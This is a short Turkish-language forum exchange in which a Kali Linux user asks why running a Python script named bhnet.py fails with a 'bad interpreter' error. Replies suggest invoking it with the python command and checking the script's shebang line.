./bhnet.py şeklinde çalıştırmak istediğimde

bash: ./bhnet.py: /opt/local/bin/python2.7: hatalı yorumlayıcı: Böyle bir dosya ya da dizin yok diye bir hata alıyorum.Sanırım modülü tanımıyor ve betik masaüstünde.Nasıl halledebilirim bu sorunu.Birde işletim sistemi kali linux 2.0

python betiğini çalıştırmak için: python bhnet.py koşturmalısınız. ama bash ile yazılmışsa yazdığınız gibi olması lazım.

Ek olarak, acaba pyhton özel olarak bir "Shebang" satırı ile mi tanımlanmış dosyada?
